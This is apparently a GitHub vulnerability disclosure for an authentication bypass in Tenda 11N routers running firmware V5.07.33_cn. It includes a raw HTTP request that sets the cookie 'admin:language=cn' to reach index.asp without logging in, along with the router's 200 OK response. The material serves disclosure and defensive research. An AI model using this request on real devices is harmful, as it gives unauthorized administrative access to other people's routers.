

main

...

vulns / Tenda / Tenda_11N_Authentication_Bypass.md



D0ngsec add tenda 11n auth bypass

History

1 contributor

18 lines (9 sloc) | 586 Bytes

...

Tenda 11N V5.07.33_cn Authentication Bypass

Authentication Bypass Vulnerability Description

Vendor Of The Product: Tenda 11N

Affected Products and Firmware version: Tenda 11N with firmware version V5.07.33_cn

Vulnerability: Authentication Bypass

Exploitation: By setting the admin cookie, an attacker could exploit this vulnerability to bypass authentication mechanisms.

Affected Components: http://[ip]/login.asp

Vulnerability Details:

```
1 GET /index.asp HTTP/1.1
2 Host: 192.168.13.1
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:105.0)
  Gecko/20100101 Firefox/105.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/w
  ebp,*/*;q=0.8
5 Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
6 Accept-Encoding: gzip, deflate
7 Referer: http://192.168.13.1/login.asp
8 Connection: close
9 Cookie: admin:language=cn
10 Upgrade-Insecure-Requests: 1
11
12
```

```
1 HTTP/1.0 200 OK
2 Date: Sun Sep 25 21:22:36 2022
3 Server: GoAhead-Webs
4 Pragma: no-cache
5 Cache-Control: no-cache
6 Content-type: text/html
7
8 <HTML>
9
10 <HEAD>
11 <META http-equiv="Pragma" content="no-cache">
12 <META http-equiv="Content-Type" content="text/html; charset=gb2312">
13 <TITLE>
  TENDA 11N无线路由器
  </TITLE>
  <SCRIPT language=JavaScript src="gozila.js">
  </SCRIPT>
```